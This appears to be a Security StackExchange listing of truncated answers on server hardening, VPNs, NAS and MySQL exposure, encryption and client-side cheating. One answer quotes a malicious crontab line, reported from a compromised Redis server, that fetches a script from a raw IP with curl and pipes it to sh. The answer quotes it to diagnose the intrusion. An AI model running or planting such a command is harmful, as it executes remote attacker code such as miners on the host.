We’re rewarding the question askers & reputations are being recalculated! Read more.
24

From their own FAQ: Q: Has your secure datagram protocol been audited by experts? A: No. Mosh is actively used and has been read over by security-minded crypto nerds who think its design is reasonable, but any novel datagram protocol is going to have to prove itself, and SSP is no exception. We use the reference implementations of AES-128 and OCB, and we ...


17

Backing up the TrueCrypt container means that you'll end with a timeline of your encrypted volume, and all of those versions share the same key. Having different versions of the container with the same key gives the adversary two advantages: Information leakage: The adversary will know which sectors of the volume changed. and, as a consequence, a compromise ...


10

The specific issues depend to some extent on the precise reasons you're opening the server in this way. However, I'm not sure what the difference between a direct MySQL connection dropping (which could happen anyway) and an SSL tunnelled connection dropping, in terms of levels of worry. Changing the port is essentially security by obscurity. It might reduce ...


9

A NAS is a computer. It has a "smaller" CPU (usually an ARM in the 200 MHz range) but it still runs a "normal" operating system (often a Linux derivative) with all its normal software and assorted vulnerabilities. When a SSH server has a buffer overflow, it is vulnerable, even if the outer box does not "look like" a computer. To be considered secure, a NAS, ...


9

It is very good that the mysql server is not required to support remote connections because it greatly reduces the attackable surface. But you should consider defence in depth as a strategy to slow down an attacker or even reduce the impact of an attack. Setting up a good password for the database users is no significant amount of work, so you should do ...


7

I disagree that it is impossible. Depending on the form of your game it might be possible to apply the following scheme: During the game, record the starting state, including seeds to RNGs and all inputs from the user. When submitting the game, submit this "replay" of the session to the server together with the claimed score. On the server, run through the ...


6

"The cloud" is marketing-speak for "other people's servers", so I will use that term instead. When you move critical systems to other people's servers, you need to be aware that they have physical access to the server and to their network connections. When they are not trustworthy, they are able to steal your data or eavesdrop on your network traffic. A ...


6

No, this is impossible. You are relying on the client to provide accurate data. But you can not do that, because the client is outside of your control. It runs on the users hardware, which means that the user can change it in any way they want and there is nothing you can do about that. Any attempt to authenticate that the client wasn't modified must also ...


5

There is a time-proven strategy: learn, and then learn more. Go to the library, read technical specifications, spend time (thousands of hours at least) programming and trying things on your own computer. In the long run, this works better than just asking on the 'Ternet. Alternative strategy: bribe the sysadmin. History teaches us that more places were ...


5

You don't. If a device is in your physical possession, then you can have unlimited access to it. If it is someone else's physical possession, then they have unlimited access to it. If you want to protect yourself from them, then don't let them have your server.


5

My question is what is the risk of doing such thing You are exposing an application running on an internal system to the wild internet. If a feature or bug in the application allows for example remote code execution then the attacker will be able to execute this code on your machine and thus inside your local network and thus might reach and attack internal ...


4

In theory a NAS (which I assume is what you mean by "server as hard disk") is no different from a traditional file server in it's operation. They are both computers running an OS with a bunch of hard disks. There is no underlying reason why one or the other might be more secure. In practice, it all depends on you. A NAS comes pre-built, whereas you build a ...


4

This is the classic use case for a Virtual Private Network (VPN). If you're technically savvy, you could set up your own VPN server at home. Strongswan is the one packaged with Ubuntu. Or, you could use a third party VPN provider. Obviously though you have to find one you trust with your data. Note also that they won't typically get you inside your home ...


4

Here is an incomplete list of security-related items I discovered: Be aware of new defaults WinRM used to run on ports 80/443 in Vista and Longhorn. That has changed to port "5985" and "5986" recognized by IANA as the new management ports (more info bottom of this page) Helpful commands The command winrm g winrm/config lists most of the WinRM ...


4

To view the full headers of an email within the Gmail web interface, you need to select "show original" from the drop down 'More" actions menu on the right. The "show details" button next to the sender details only gives a subset of information, not the full headers. I tested sending a message from the gmail interface and found there was no X-Originating-...


4

As pointed out in the comments, there is no other risk then using normal ssh with password. This means that from the client you need to go through the common check of hostkey or fingerprint and then everything (passwords, keys and all communication) is encrypted. You can even have a look into ssh-copy-id, since it is just a simple shell script doing the "...


4

One thing I can think of: Setting up SSL may not enforce all connections to be SSL. Be sure to verify that. Aside from the above concern, I think it would only be vulnerable if there was a bug in Mysql itself. If you want to mitigate that, use a VPN (which is not unlike SSH tunneling, as it is an extra point of potential failure), and tell Mysql to only ...


3

When doing any kind of web based authentication you always want to perform the action over an encrypted channel. So, yes. Get a cert and turn it on. You shouldn't have any problems. Forbidding access to the server itself, when using machine accounts, is definitely doable but can sometimes be tricky depending on your exact use-cases. First, make sure the ...


3

If you are conversant with network administration, another good tool to set up a VPN of your own is OpenVPN. You run an OpenVPN server on your server, and an OpenVPN client on your laptop, and then you have a secure VPN between the two. I have spent some time with the OpenVPN source code in the past, and I was impressed: my conclusion was that OpenVPN is ...


3

You may be interested in seccomp. This is a feature with which Linux runs a process with only a very limited set of available system calls; the kernel kills the process at any attempt to execute any other call. This is, conceptually, the Right Way to do this kind of isolation: use a (small) whitelist of allowed system calls, instead of a blacklist of ...


3

You don't. You can't. The best you can do is a trusted boot pathway using TPM which you make part of the partition unlocking process. But unless the hardware is locked to your personal signing key (which it probably isn't), then even that can be subverted. Still, TPM is probably the closest you can get. This is non-trivial to implement, and it is unlikely ...


3

Yes, it is possible - although you may find that the connection is slower than a direct connection. As for the configuration - it really depends on what systems you're running. Windows? Linux? OSX? Essentially, configure Site 2 to allow VPN connections from Site 3 (and only Site 3). It may be worth checking with IT as to why they don't allow VPN ...


3

The good news is two-factor can be free. Google authenticator is free and mixed with FreeRadius should work with just about any access device. It is not as fancy or secure as RSA's or some of the others but it is pretty simple to implement and does satisfy a second factor to username and password. From what I can tell it looks to be certificate based ...


3

With an offline application this can't be achieved because it forces you to trust the application (which can be altered) to store and update the score. There is no way around this for an offline application. Even with fully homomorphic encryption the offline application would be able to tamper with data even if it can't see the original data. If the ...


3

I read some article about linux kernel having vulnerabilities The linux kernel is a huge piece of software. Here is a list of 1338 vulnerabilities that have been previously discovered and patched in the linux kernel. Can you be more specific? how should I prevent remote acces to my station and other things? The topic of hardening a linux system has ...


3

Would this be considered a reasonably safe configuration?: No. The hint here is Company doesn't want to put the data on the third party server. I assume there are good reasons for that. The problem is that if you directly let the web server on the remote host directly access your local database, it just means that the external server gets a direct access to ...


3

This approach could have implementation issues, and there are already solutions to what you want. It's simple; make an assymetric keypair (say PGP) on another server: gpg2 --full-gen-key Export the public (decryption) key: gpg2 --output public.gpg --export me@mymail.com Import the public key on the VPS: gpg2 --import public.gpg Use it to encrypt data ...


3

OP given url to the forum mentioned that the developer cloud server redis has been compromised, an entry has been added to crontab. i.e. */1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh The rest of the commenter mentioned that this is a possible hack that installs Bitcoin miners inside the system. I agree with @Itamar Haber, you ...


2

Aside from real people actively using your computer via physical access or remote administration: It is likely that a malicious software, which is able to read the saved password, has sufficient possibilities to read the password from the connection dialog as you type it in. This approach is likely a bit more work for the author of the malicious software ...


2

What you are describing sounds a lot like Google's NaCl. Google designed this as a safe way to run native x86 code in the web browser, but they have a sample that runs standalone with no browser. They include a GCC compiler that outputs NaCl-x86 rather than standard x86.


Only top voted, non community-wiki answers of a minimum length are eligible